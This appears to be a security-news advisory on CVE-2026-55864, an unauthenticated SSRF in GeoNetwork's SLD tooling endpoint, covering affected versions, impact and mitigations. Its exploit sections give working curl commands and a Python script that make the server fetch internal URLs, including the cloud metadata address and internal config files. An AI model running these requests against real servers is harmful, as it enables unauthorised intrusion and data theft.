Listen to this Post
CVE-2026-55864 is an unauthenticated server-side request forgery (SSRF) vulnerability in the GeoNetwork Web Module, specifically within the SLD tooling endpoint. The flaw resides in the handling of the `POST /api/tools/ogc/sld` route, which accepts a caller-supplied WMS server URL and performs a server-side HTTP GET request to that address without any validation. This allows any anonymous user to force the GeoNetwork server to issue arbitrary outbound HTTP requests to internal hosts that are not publicly accessible. Because the fetched response body can be stored and later downloaded when it is in XML format, the SSRF is non-blind, meaning an attacker can read back the responses of internal requests that return XML. The vulnerability affects GeoNetwork versions from 4.4.0 to 4.4.11 and from 4.0.0 to 4.2.16. It has been patched in versions 4.4.12 and 4.2.17. The root cause is a lack of input validation and egress filtering on the SLD tooling endpoint, which is categorized under CWE-918 (Server-Side Request Forgery). An attacker can leverage this to perform internal network reconnaissance, access internal services, and exfiltrate sensitive configuration files or other XML-based resources, all from an unauthenticated remote position.
DailyCVE Form
Platform: GeoNetwork Web Module
Version: 4.0.0-4.2.16, 4.4.0-4.4.11
Vulnerability: SSRF (CWE-918)
Severity: High (CVSS 7.3)
date: 2026-08-31
Prediction: Patched in 4.4.12 / 4.2.17
What Undercode Say
Check if the SLD tooling endpoint is reachable
curl -s -o /dev/null -w "%{http_code}" -X POST "https://target.example.com/geonetwork/srv/api/tools/ogc/sld" -H "Content-Type: application/x-www-form-urlencoded" -d "url=http://127.0.0.1:8080/"
Send a simple SSRF probe to an internal HTTP service (non-blind if XML response)
curl -X POST "https://target.example.com/geonetwork/srv/api/tools/ogc/sld" -d "url=http://169.254.169.254/latest/meta-data/"
Attempt to read an internal XML configuration file (example)
curl -X POST "https://target.example.com/geonetwork/srv/api/tools/ogc/sld" -d "url=http://internal-host:8080/config.xml"
Minimal Python script to automate SSRF probing via the SLD endpoint
import requests
target = "https://target.example.com/geonetwork/srv/api/tools/ogc/sld"
internal_url = "http://127.0.0.1:8080/actuator/health"
resp = requests.post(target, data={"url": internal_url}, verify=False)
print(resp.status_code)
print(resp.text[:500]) Display beginning of the fetched XML response
Exploit: (Educational Purposes!)
Exploit: Use the SLD endpoint to fetch an internal XML resource The response may be stored and later retrieved via the GeoNetwork UI or API. curl -X POST "http://vulnerable-geonetwork/srv/api/tools/ogc/sld" \ -H "Content-Type: application/x-www-form-urlencoded" \ --data-urlencode "url=http://10.0.0.5:8080/internal/config.xml" \ -v Retrieve the stored result (if the application exposes it) The exact storage path depends on the GeoNetwork version and configuration.
Protection: from this CVE
- Upgrade to GeoNetwork 4.4.12 or 4.2.17 or later.
- Implement network egress filtering on the GeoNetwork server to restrict outbound connections to known, trusted WMS server endpoints only.
- Deploy detection rules to monitor for unauthorized requests to the `/api/tools/ogc/sld` endpoint.
- If immediate upgrade is not possible, consider disabling or restricting access to the SLD tooling endpoint.
Impact
- Unauthenticated attackers can probe internal networks and bypass firewall restrictions.
- Internal services and resources that return XML can be read, leading to sensitive data disclosure.
- Enables reconnaissance of the internal network and potential authorization bypass.
- Can lead to full internal network mapping and exfiltration of configuration files or other XML-based sensitive information.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
